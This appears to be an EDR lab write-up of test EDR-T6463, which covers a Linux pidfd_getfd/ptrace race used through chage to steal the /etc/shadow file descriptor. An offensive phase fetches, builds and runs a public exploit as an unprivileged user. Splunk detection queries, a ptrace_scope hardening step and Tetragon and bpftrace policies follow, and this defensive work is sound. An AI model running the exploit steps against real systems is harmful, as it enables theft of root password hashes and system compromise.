EDR-T6463 - pidfd_getfd + ptrace - Read root files

EDR-T6463 - This test uses the FD-theft technique via the ptrace_may_access mm-NULL bypass and pidfd_getfd to read root-owned files as an unprivileged user. __ptrace_may_access() skips the dumpable check when task->mm == NULL. do_exit() runs exit_mm() before exit_files() — no mm, fds still there. pidfd_getfd(2) succeeds in that window when the caller's uid matches the target's. Reported by Qualys, fixed by Linus 2026-05-14. Jann Horn flagged the FD-theft shape in October 2020.

In this test, we use chage_pwn — pulls /etc/shadow. chage -l <user> calls spw_open(O_RDONLY) then setreuid(ruid, ruid). Both args set means uid=euid=suid=ruid: full drop. Race the exit, lift the shadow fd, crack the root hash offline.

OFFENSIVE PHASE:

@ TARGET_X:

$ whoami
vadminX
$ git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn/
$ cd ssh-keysign-pwn
$ make
$ ./chage_pwn root

DETECTION/DFIR PHASE:

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" command_line="./chage_pwn root" | top event_name

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" command_line="./chage_pwn root" event_name=ptrace

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" "info.parent_task.name"=chage_pwn

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" "info.parent_task.name"=chage_pwn  command_line="chage -l root" | top event_name

Splunk - Kunai Runtime Security:

index=kunai host="targetX.edrmetry.local" "info.parent_task.name"=chage_pwn  command_line="chage -l root"  event_name=read_config

PREVENTION/RESPONSE PHASE:

CLI:

@ TARGET_X:

# sysctl -w kernel.yama.ptrace_scope=2

@ TARGET_X:

$ ./chage_pwn root

Comment:

Switch back:

# sysctl -w kernel.yama.ptrace_scope=0

Tetragon Runtime Security:

@ TARGET_X:

# vim tetra-EDR-T6463.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: edr-t6463-pidfd-shadow-theft-kill
  annotations:
    description: "EDR-T6463 - pidfd_getfd /etc/shadow theft via chage mm-NULL race"
spec:
  kprobes:

  # ---------------------------------------------------------------
  # KILL 1 — pidfd_getfd (core exploit primitive)
  # Tight loop 30000 iteracji na fd range 3-32.
  # ---------------------------------------------------------------
  - call: "sys_pidfd_getfd"
    syscall: true
    args:
    - index: 0
      type: "int"
    - index: 1
      type: "int"
    selectors:
    - matchBinaries:
      - operator: "NotIn"
        values:
        - "/usr/bin/runc"
        - "/usr/bin/crun"
        - "/usr/lib/systemd/systemd"
        - "/usr/sbin/sshd"
      matchActions:
      - action: Sigkill
      - action: Post

# tetra tp add tetra-EDR-T6463.yaml 
# tetra tp list

@ TARGET_X:

$ pwd
/home/vadminX/ssh-keysign-pwn
$ ./chage_pwn root

@ TARGET_X:

CLI:

# tail -f /var/log/tetragon/tetragon.log

Bpftrace:

  • Profile before enforcement:

# bpftrace -e '
tracepoint:syscalls:sys_enter_pidfd_getfd
{
    printf("%-6d %-20s pidfd=%-6d fd=%-6d\n",
        pid,
        comm,
        args->pidfd,
        args->fd);
}

tracepoint:syscalls:sys_exit_pidfd_getfd
{
    printf("%-6d %-20s ret=%-6d\n",
        pid,
        comm,
        args->ret);
}'

LINKS: